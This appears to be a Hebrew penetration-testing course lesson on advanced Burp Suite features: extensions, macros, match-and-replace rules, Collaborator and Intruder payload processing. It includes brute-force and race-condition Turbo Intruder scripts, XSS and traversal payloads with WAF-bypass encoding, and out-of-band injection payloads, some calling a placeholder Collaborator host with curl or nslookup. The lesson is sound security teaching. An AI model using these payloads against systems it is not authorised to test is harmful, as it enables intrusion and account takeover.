לדלג לתוכן

כלים מתקדמים ב-Burp Suite

מבוא

בקורס הבסיסי השתמשנו ב-Burp Suite בעיקר ככלי Proxy, Repeater, ו-Intruder בסיסי. בשיעור זה נכיר את היכולות המתקדמות של Burp Suite - תוספים חיוניים, כתיבת מאקרוים, סקריפטים מותאמים ב-Turbo Intruder, וטכניקות שימושיות שיהפכו אתכם ליעילים יותר בבדיקות.


תוספים חיוניים - Extensions

התקנת תוספים

# Installing extensions in Burp Suite:
# 1. Go to Extensions > BApp Store
# 2. Search for the desired extension
# 3. Click Install
# Some extensions require Jython - install it from:
# Extensions > Extensions Settings > Python Environment
# Set the path to jython-standalone-X.X.X.jar

Autorize - בדיקת הרשאות

Autorize הוא תוסף שמאפשר לבדוק אוטומטית בעיות הרשאה. הוא מיירט בקשות של משתמש בעל הרשאות גבוהות וחוזר עליהן עם עוגיות של משתמש עם הרשאות נמוכות.

# Configuring Autorize:
# 1. Install the extension from the BApp Store
# 2. Log into the system with a low-privilege user
# 3. Copy its session cookie
# 4. In the Autorize tab, paste the cookie into the "Cookie" field
# 5. Now log in with an Admin user
# 6. Browse the application - Autorize will replay every request with both identities
# 7. Green results = protected, red = vulnerable (IDOR/Broken Access Control)

שימוש טיפוסי - בדיקת IDOR:
- גלשו לפרופיל של משתמש A כ-Admin
- Autorize יחזור על הבקשה עם עוגיית משתמש B
- אם התגובות זהות - יש בעיית הרשאה

Logger++ - לוגים מתקדמים

Logger++ מאפשר סינון וחיפוש מתקדם בכל התעבורה שעוברת דרך Burp.

# Main uses of Logger++:
# - Filter by response code, content type, response size
# - Search regular expressions across all requests/responses
# - Export logs to CSV for external analysis
# - Identify suspicious patterns in traffic

# Examples of useful filters:
# Response.body CONTAINS "password"
# Response.body CONTAINS "api_key"
# Request.path CONTAINS "/admin"
# Response.status == 403
# Response.body CONTAINS "stack trace"

Turbo Intruder - פאזינג מהיר

Turbo Intruder הוא תחליף מהיר ל-Intruder המובנה, תומך בסקריפטי פייתון ויכול לשלוח אלפי בקשות בשנייה.

# Basic Turbo Intruder script - directory search
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=20,
        requestsPerConnection=100,
        pipeline=True
    )

    for word in open("/usr/share/wordlists/dirb/common.txt"):
        engine.queue(target.req, word.strip())

def handleResponse(req, interesting):
    if req.status != 404:
        table.add(req)
# Turbo Intruder script - brute force attack with multiple parameters
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=10,
        requestsPerConnection=50,
        pipeline=False
    )

    # Read from the password list
    for password in open("/usr/share/wordlists/rockyou-top1000.txt"):
        engine.queue(target.req, password.strip())

def handleResponse(req, interesting):
    # Detect a different response - indicates success
    if req.status == 302 or "Welcome" in req.response:
        table.add(req)
# Turbo Intruder script - testing a Race Condition
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=30,
        requestsPerConnection=1,
        pipeline=False
    )

    # Send 30 requests concurrently - the gate ensures they're all sent together
    for i in range(30):
        engine.queue(target.req, gate="race1")

    engine.openGate("race1")

def handleResponse(req, interesting):
    table.add(req)

Param Miner - גילוי פרמטרים נסתרים

Param Miner מוצא פרמטרים נסתרים בבקשות HTTP - פרמטרים שלא מופיעים בinterface אך השרת מגיב אליהם.

# Using Param Miner:
# 1. Right-click a request in Proxy/Repeater
# 2. Extensions > Param Miner > Guess params
# 3. Choose the parameter type:
#    - URL parameters
#    - Body parameters
#    - Headers
#    - Cookies
# 4. Results will appear in the Issues / Extension Output tab

# Common parameters the tool discovers:
# debug=true, admin=1, test=1, verbose=1
# x-forwarded-host, x-original-url, x-rewrite-url

Hackvertor - encoding וdecoding

Hackvertor מאפשר encoding וdecoding דינמי של payloads ישירות בתוך בקשות Burp.

# Using Hackvertor:
# Add encoding tags around the payload in Repeater:

# URL encoding:
<@urlencode>"><script>alert(1)</script><@/urlencode>

# Base64 encoding:
<@base64>admin:password<@/base64>

# HTML encoding:
<@htmlencode><script>alert(1)</script><@/htmlencode>

# Double encoding:
<@urlencode><@urlencode>../../../etc/passwd<@/urlencode><@/urlencode>

# Convert to Unicode:
<@unicode_escapes>alert<@/unicode_escapes>

# Especially useful for bypassing WAFs and filters

JSON Web Tokens - תוסף JWT

# The JWT extension allows:
# - View and edit JWT tokens directly in Burp
# - Modify claims
# - Test algorithm confusion (RS256 -> HS256)
# - Test the None algorithm
# - Sign with custom keys

# The token is automatically decoded in a dedicated tab
# You can edit the header and payload and re-sign

מאקרוים וטיפול בסשן - Session Handling

מה הם מאקרוים

מאקרוים ב-Burp Suite מאפשרים להגדיר רצף של בקשות שמבוצעות אוטומטית. זה חיוני כאשר:
- נדרש התחברות מחדש כשהסשן פג
- נדרש טוקן CSRF חדש לפני כל בקשה
- נדרשת סדרת פעולות לפני הבדיקה (למשל הוספת פריט לעגלה לפני בדיקת תשלום)

יצירת מאקרו להתחברות אוטומטית

# Configuring a login macro:
# 1. Settings > Sessions > Macros > Add
# 2. Choose "Record macro" and perform the login process:
#    - GET request to the login page (get CSRF token)
#    - POST request with username, password, and CSRF token
# 3. Save the macro

# Configuring a Session Handling Rule:
# 1. Settings > Sessions > Session handling rules > Add
# 2. Rule Actions > Add > Run a macro
# 3. Select the macro you created
# 4. Check "Update current request with parameters from last macro response"
# 5. In the Scope tab, set which tools it applies to (Repeater, Intruder, Scanner)

מאקרו לextraction טוקן CSRF

# A macro that extracts a CSRF token before every request:
# 1. Record a macro that performs a GET to a page with a form
# 2. In the Macro Editor, select the response
# 3. Configure item > Add custom parameter
# 4. Configure:
#    - Parameter name: csrf_token
#    - Start: name="csrf_token" value="
#    - End: "
# 5. Now in the Session Handling Rule:
#    - Run macro
#    - Update current request with:
#      - CSRF token from macro response

מאקרו מרובה שלבים

# Example - macro for a purchase process (4 steps):
# Step 1: GET /products - select a product
# Step 2: POST /cart/add - add to cart
# Step 3: GET /checkout - proceed to checkout (extract order_id)
# Step 4: POST /checkout/confirm - confirm (the request we want to test)

# In the Macro Editor:
# - Add all 4 requests in order
# - In step 3, set up custom parameter extraction for order_id
# - Step 4 will use the extracted order_id

חוקי התאמה והחלפה - Match and Replace

חוקי Match and Replace מאפשרים שינוי אוטומטי של בקשות ותגובות שעוברות דרך Burp.

הגדרת חוקים

# Settings > Proxy > Match and Replace

# Example 1 - add a header to every request:
# Type: Request header
# Match: (leave empty)
# Replace: X-Forwarded-For: 127.0.0.1
# Comment: Add localhost forwarded header

# Example 2 - change the User-Agent:
# Type: Request header
# Match: User-Agent:.*
# Replace: User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)
# Comment: Impersonate Googlebot

# Example 3 - remove security headers from responses (for easier viewing):
# Type: Response header
# Match: Content-Security-Policy:.*
# Replace: (leave empty)
# Comment: Remove CSP header

# Example 4 - remove X-Frame-Options:
# Type: Response header
# Match: X-Frame-Options:.*
# Replace: (leave empty)
# Comment: Remove clickjacking protection

# Example 5 - replace a cookie value:
# Type: Request header
# Match: Cookie: session=([^;]+)
# Replace: Cookie: session=ATTACKER_SESSION_TOKEN
# Comment: Replace session cookie

חוקים מתקדמים לבדיקות ספציפיות

# Change Content-Type for XXE testing:
# Type: Request header
# Match: Content-Type: application/json
# Replace: Content-Type: application/xml
# Comment: Switch to XML for XXE testing

# Add a custom header to bypass IP restrictions:
# Type: Request header
# Match: (leave empty)
# Replace: X-Original-URL: /admin
# Comment: URL override header

# Change a parameter value in every request:
# Type: Request body
# Match: role=user
# Replace: role=admin
# Comment: Escalate role parameter

Burp Collaborator לעומק

מה זה Burp Collaborator

Burp Collaborator הוא שרת חיצוני שבבעלות PortSwigger, שמאפשר לזהות מתי שרת יעד יוצר אינטראקציה עם כתובת שלנו. זה חיוני לזיהוי חולשות blind ו-out-of-band.

סוגי אינטראקציות

# Types of interactions Collaborator detects:
# 1. HTTP/HTTPS - the server made an HTTP request to our address
# 2. DNS - the server made a DNS query to our domain
# 3. SMTP - the server sent an email

# Example - testing Blind SSRF:
POST /api/webhook HTTP/1.1
Host: target.com
Content-Type: application/json

{"callback_url": "http://COLLABORATOR-ID.burpcollaborator.net/ssrf-test"}

# Example - testing Blind XXE:
POST /api/parse HTTP/1.1
Host: target.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://COLLABORATOR-ID.burpcollaborator.net/xxe-test">
]>
<root>&xxe;</root>

# Example - testing Blind SQL Injection (Oracle):
# ' UNION SELECT EXTRACTVALUE(
#   xmltype('<?xml version="1.0" encoding="UTF-8"?>
#   <!DOCTYPE root [<!ENTITY % remote SYSTEM
#   "http://COLLABORATOR-ID.burpcollaborator.net/">%remote;]>'),
#   '/l') FROM dual--

# Example - testing OS Command Injection:
# ; nslookup COLLABORATOR-ID.burpcollaborator.net ;
# | curl http://COLLABORATOR-ID.burpcollaborator.net/cmd-test |

הpayloads Intruder מותאמים - Custom Payloads

עיבוד payloads - Payload Processing

# Intruder > Payloads > Payload Processing
# You can add processing steps to each payload:

# 1. Hash > MD5
#    Use: when the server expects a hashed password

# 2. Encode > URL-encode
#    Use: encode special characters

# 3. Encode > Base64-encode
#    Use: when the parameter is Base64-encoded

# 4. Add prefix: admin_
#    Use: add a prefix to every payload

# 5. Add suffix: @company.com
#    Use: generate email addresses

# 6. Match/Replace: replaces text in the payload

# Example of chained processing steps:
# Original payload: password123
# Step 1 - MD5: 482c811da5d5b4bc6d497ffa98491e38
# Step 2 - Base64: NDgyYzgxMWRhNWQ1YjRiYzZkNDk3ZmZhOTg0OTFlMzg=
# Step 3 - URL encode: NDgyYzgxMWRhNWQ1YjRiYzZkNDk3ZmZhOTg0OTFlMzg%3D

סוגי payloads מתקדמים

# Payload type: Recursive grep
# Lets you extract a value from one response and use it in the next request
# Use: extract a CSRF token from a response and place it in the next request

# Payload type: Extension-generated
# Uses a Burp extension to generate payloads
# Use: complex payloads that require logic

# Payload type: Null payloads
# Send the request as-is N times
# Use: testing a Race Condition, testing behavior under load

# Payload type: Character substitution
# Replace characters (a->@, s->$, etc.)
# Use: generate password variations

שימוש עם פרוקסי עליון - Upstream Proxy

חיבור Burp דרך פרוקסי

# Settings > Network > Connections > Upstream Proxy Servers

# Use case 1 - connect through Tor:
# Destination host: *
# Proxy host: 127.0.0.1
# Proxy port: 9050
# Proxy type: SOCKS5

# Use case 2 - connect through a corporate VPN/Proxy:
# Destination host: *
# Proxy host: proxy.company.com
# Proxy port: 8080
# Proxy type: HTTP
# Authentication: username/password

# Use case 3 - chaining Burp instances:
# Burp 1 (testing) -> Burp 2 (logging) -> Target
# In Burp 1:
# Upstream proxy: 127.0.0.1:8081 (Burp 2's proxy)

שימוש עם SOCKS Proxy

# Configuring a SOCKS proxy in Burp:
# Settings > Network > Connections > SOCKS proxy

# Connect through an SSH tunnel:
# 1. Create a tunnel:
ssh -D 1080 user@remote-server

# 2. In Burp, configure the SOCKS proxy:
#    Host: 127.0.0.1
#    Port: 1080
#    Use SOCKS proxy: checked
#    Do DNS lookups over SOCKS proxy: checked

טיפים וטריקים מתקדמים

חיפוש בתעבורה

# Proxy > HTTP History > Filter
# Filter by:
# - MIME type (HTML, JSON, XML)
# - Status code (4xx, 5xx)
# - Search term in request/response
# - Annotation (highlighted/commented items)
# - Listener port

# Advanced search in Logger++:
# Response.body CONTAINS "error" AND Response.status == 500
# Request.method == "POST" AND Request.path CONTAINS "api"
# Response.headers CONTAINS "Set-Cookie"

הערות וצביעה

# Recommended workflow - marking interesting requests:
# - Red: a vulnerability was found
# - Orange: needs further testing
# - Green: tested and fine
# - Blue: interesting endpoint
# - Purple: request with high privileges

# Right-click a request > Highlight > choose a color
# Right-click > Add comment > add a note

קיצורי מקלדת חיוניים

# Ctrl+R - send request to Repeater
# Ctrl+I - send request to Intruder
# Ctrl+Shift+R - go to Repeater
# Ctrl+Shift+P - go to Proxy
# Ctrl+Space - send request in Repeater / start attack in Intruder
# Ctrl+Z - undo in Repeater
# Ctrl+U - URL-encode selected text
# Ctrl+Shift+U - URL-decode selected text
# Ctrl+B - Base64-encode selected text
# Ctrl+Shift+B - Base64-decode selected text

סיכום

בשיעור זה למדנו על הכלים המתקדמים של Burp Suite:

  • תוספים חיוניים - Autorize, Logger++, Turbo Intruder, Param Miner, Hackvertor, JWT
  • מאקרוים - אוטומציה של תהליכי התחברות וextraction טוקנים
  • חוקי Match and Replace - שינוי אוטומטי של בקשות ותגובות
  • Burp Collaborator - זיהוי חולשות out-of-band
  • הpayloads Intruder - עיבוד והתאמת payloads
  • פרוקסי עליון - עבודה דרך SOCKS וchaining פרוקסים

כלים אלו ישמשו אותנו לאורך כל הקורס. חשוב להכיר אותם היטב לפני שנמשיך לנושאים המתקדמים.